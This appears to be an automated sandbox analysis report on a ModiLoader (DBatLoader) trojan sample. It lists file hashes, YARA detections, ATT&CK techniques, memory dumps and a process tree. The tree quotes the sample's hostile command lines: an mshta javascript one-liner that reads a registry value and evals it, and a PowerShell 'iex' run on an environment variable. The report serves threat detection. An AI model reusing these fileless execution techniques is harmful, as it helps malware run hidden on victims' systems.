modiloader | 761f42f03e50ef9b2eb1b1041c81cc6ed24cbc8ce2d6df3c87f193493b4a4772

General

Target

761F42F03E50EF9B2EB1B1041C81CC6ED24CBC8CE2D6D.exe
Size

334KB
MD5

a11ae57c068442f751c4a7f4f5f542b0
SHA1

131eaded2b2507fa0b1fbf5677705a09496d0f4c
SHA256

761f42f03e50ef9b2eb1b1041c81cc6ed24cbc8ce2d6df3c87f193493b4a4772
SHA512

c62d70a3391f30cd5084d8ca4cfe0bdc65205205ac3913d4f9a9af847e1f224a780b3ddb4e981e105dd1dde6a1d52d628c6bb5380901f357156e3063dde2e674
SSDEEP

6144:5P8U5dPZDa/iuqO2pi14MlxYSCG1H95dp4kq5bx4fbJr/CYzCIbeY3opBMc:F5VZDaj5xZC2dGkebubJr/CIbbopBp

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3636 1876 mshta.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3636	1876	mshta.exe

ModiLoader Second Stage 9 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1984-133-0x0000000000400000-0x000000000045C5E8-memory.dmp	modiloader_stage2
behavioral2/memory/1984-134-0x00000000023A0000-0x000000000247C000-memory.dmp	modiloader_stage2
behavioral2/memory/1984-135-0x00000000023A0000-0x000000000247C000-memory.dmp	modiloader_stage2
behavioral2/memory/1984-136-0x00000000023A0000-0x000000000247C000-memory.dmp	modiloader_stage2
behavioral2/memory/1984-139-0x00000000023A0000-0x000000000247C000-memory.dmp	modiloader_stage2
behavioral2/memory/1984-140-0x00000000023A0000-0x000000000247C000-memory.dmp	modiloader_stage2
behavioral2/memory/1984-141-0x00000000023A0000-0x000000000247C000-memory.dmp	modiloader_stage2
behavioral2/memory/1984-163-0x0000000000400000-0x000000000045C5E8-memory.dmp	modiloader_stage2
behavioral2/memory/1984-164-0x00000000023A0000-0x000000000247C000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

564 powershell.exe
564 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 564 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
564	powershell.exe
564	powershell.exe

description	pid	process
Token: SeDebugPrivilege	564	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 3636 wrote to memory of 564	3636	mshta.exe	powershell.exe
PID 3636 wrote to memory of 564	3636	mshta.exe	powershell.exe
PID 3636 wrote to memory of 564	3636	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\761F42F03E50EF9B2EB1B1041C81CC6ED24CBC8CE2D6D.exe
"C:\Users\Admin\AppData\Local\Temp\761F42F03E50EF9B2EB1B1041C81CC6ED24CBC8CE2D6D.exe"
1⤵
PID:1984

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:MXW1JmP="kRnnXM";ra1=new%20ActiveXObject("WScript.Shell");p3lsxrdB="e044ki";v0XG8F=ra1.RegRead("HKCU\\software\\8wVZh33w\\c3eTNhBrU");eLv14M="sXea0d3d";eval(v0XG8F);q6uPAv="xMHfgdjl";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3636

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:qmky
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:564

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4m2qckoi.ebt.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/564-162-0x0000000006A00000-0x0000000006A1A000-memory.dmp

Filesize
104KB

Download
memory/564-167-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/564-147-0x00000000056D0000-0x00000000056F2000-memory.dmp

Filesize
136KB

Download
memory/564-148-0x0000000005780000-0x00000000057E6000-memory.dmp

Filesize
408KB

Download
memory/564-166-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/564-165-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/564-143-0x00000000050A0000-0x00000000050D6000-memory.dmp

Filesize
216KB

Download
memory/564-144-0x0000000005800000-0x0000000005E28000-memory.dmp

Filesize
6.2MB

Download
memory/564-145-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/564-161-0x0000000007D70000-0x00000000083EA000-memory.dmp

Filesize
6.5MB

Download
memory/564-160-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/564-159-0x0000000006510000-0x000000000652E000-memory.dmp

Filesize
120KB

Download
memory/564-146-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/564-154-0x0000000005F60000-0x0000000005FC6000-memory.dmp

Filesize
408KB

Download
memory/1984-135-0x00000000023A0000-0x000000000247C000-memory.dmp

Filesize
880KB

Download
memory/1984-136-0x00000000023A0000-0x000000000247C000-memory.dmp

Filesize
880KB

Download
memory/1984-134-0x00000000023A0000-0x000000000247C000-memory.dmp

Filesize
880KB

Download
memory/1984-133-0x0000000000400000-0x000000000045C5E8-memory.dmp

Filesize
369KB

Download
memory/1984-163-0x0000000000400000-0x000000000045C5E8-memory.dmp

Filesize
369KB

Download
memory/1984-164-0x00000000023A0000-0x000000000247C000-memory.dmp

Filesize
880KB

Download
memory/1984-141-0x00000000023A0000-0x000000000247C000-memory.dmp

Filesize
880KB

Download
memory/1984-140-0x00000000023A0000-0x000000000247C000-memory.dmp

Filesize
880KB

Download
memory/1984-139-0x00000000023A0000-0x000000000247C000-memory.dmp

Filesize
880KB

Download

Analysis

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